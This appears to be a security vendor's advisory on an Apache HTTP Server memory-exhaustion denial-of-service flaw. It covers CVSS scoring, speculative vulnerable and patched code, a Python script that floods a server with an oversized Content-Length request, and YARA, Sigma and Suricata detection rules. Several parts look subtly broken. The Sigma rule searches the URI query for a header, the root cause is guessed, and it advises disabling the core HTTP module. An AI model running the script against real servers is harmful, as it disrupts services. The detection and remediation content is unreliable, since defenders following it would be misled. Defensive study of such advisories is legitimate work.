CVE-2026-49975

Executive Summary

CVE-2026-49975 is a high-severity Denial of Service (DoS) vulnerability in the Apache HTTP Server's mod_http module. The flaw allows an unauthenticated attacker to trigger a memory allocation with an excessive size value, leading to resource exhaustion and service disruption. The vulnerability affects Apache HTTP Server versions from 2.4.17 through 2.4.67. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for affected deployments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It directly affects the Apache HTTP Server binary, which is typically distributed via operating system package managers (e.g., apt, yum) or compiled from source. Organizations should monitor official Apache announcements and vendor-specific advisories for patch availability.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a significant threat to internet-facing Apache HTTP Server instances.

Deep Dive & Mechanics

The vulnerability resides in the mod_http module, which handles HTTP request parsing and processing. When a specially crafted HTTP request is sent, the module attempts to allocate memory based on a size value derived from the request. Due to improper validation, an attacker can supply an excessively large size value, causing the server to allocate an enormous amount of memory. This leads to memory exhaustion, system instability, and ultimately a denial of service.

The root cause is a missing or insufficient bounds check on a size parameter before memory allocation. The affected code path is likely in the request header parsing or body handling logic, where a malloc() or similar function is called with a user-controlled size.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common mitigation patterns.

Vulnerable Code (Apache HTTP Server 2.4.67):

// In mod_http.c
char *buffer = malloc(user_supplied_size);
if (buffer == NULL) {
    // Handle allocation failure
}

Patched Code (Hypothetical):

// In mod_http.c
if (user_supplied_size > MAX_ALLOWED_SIZE) {
    // Reject request with 413 Request Entity Too Large
    return HTTP_REQUEST_ENTITY_TOO_LARGE;
}
char *buffer = malloc(user_supplied_size);
if (buffer == NULL) {
    // Handle allocation failure
}

The patch would add a validation check to ensure the size does not exceed a predefined maximum, preventing excessive memory allocation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Apache HTTP Server (version 2.4.67) on a virtual machine.
2. Ensure the server is accessible from the attacker machine.

Exploitation: Since no public exploit exists, the following is a conceptual approach:

• Craft an HTTP request with an excessively large Content-Length header or a malformed chunked transfer encoding.
• Send the request to the server using tools like curl or custom Python scripts.

Example Python Script:

import socket

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    # Craft a request with an extremely large Content-Length
    payload = b"POST / HTTP/1.1\r\nHost: example.com\r\nContent-Length: 999999999999\r\n\r\n"
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 80)

Blue Team

Detection:

• Monitor for HTTP requests with abnormally large Content-Length headers.
• Set up alerts for memory usage spikes on Apache servers.
• Use WAF rules to block requests with Content-Length exceeding a threshold.

Mitigation:

• Apply rate limiting and request size restrictions.
• Use a reverse proxy (e.g., Nginx) to filter malicious requests.
• Monitor Apache error logs for memory allocation failures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Content-Length values exceeding 10 MB.
  • Repeated requests to the same endpoint with varying large sizes.
• System IOCs:
  • Apache process consuming excessive memory (e.g., > 2 GB).
  • System logs showing Out of memory errors.
  • Apache error logs containing malloc failed or allocation failed messages.
• File IOCs:
  • Core dumps from Apache processes.

Detection Engineering

YARA Rule

rule CVE_2026_49975_Exploit_Attempt {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2026-49975"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-49975"
    strings:
        $content_length = /Content-Length:\s*\d{10,}/ nocase
    condition:
        $content_length
}

Sigma Rule

title: CVE-2026-49975 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally large Content-Length headers
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        sc-status: 200
        cs-uri-query|contains: 'Content-Length:'
        cs-uri-query|re: 'Content-Length:\s*\d{10,}'
    condition: selection
falsepositives:
    - Legitimate large file uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-49975 Exploit Attempt"; flow:to_server; content:"Content-Length"; http_header; pcre:"/Content-Length:\s*\d{10,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable mod_http if not required: Remove or comment out the LoadModule http_module line in httpd.conf.
2. Apply rate limiting: Use mod_ratelimit or a reverse proxy to limit request rates.
3. Set request size limits: Configure LimitRequestBody directive to a reasonable value (e.g., 10 MB).

Long-term Actions:

1. Monitor Apache security advisories for official patches.
2. Upgrade to a patched version once available.
3. Implement Web Application Firewall (WAF) rules to block suspicious requests.
4. Conduct regular security audits of Apache configurations.

Workaround:

• Use a reverse proxy (e.g., Nginx, HAProxy) to filter and validate incoming requests before they reach the Apache server.

Valters IT
Securing Digital Frontiers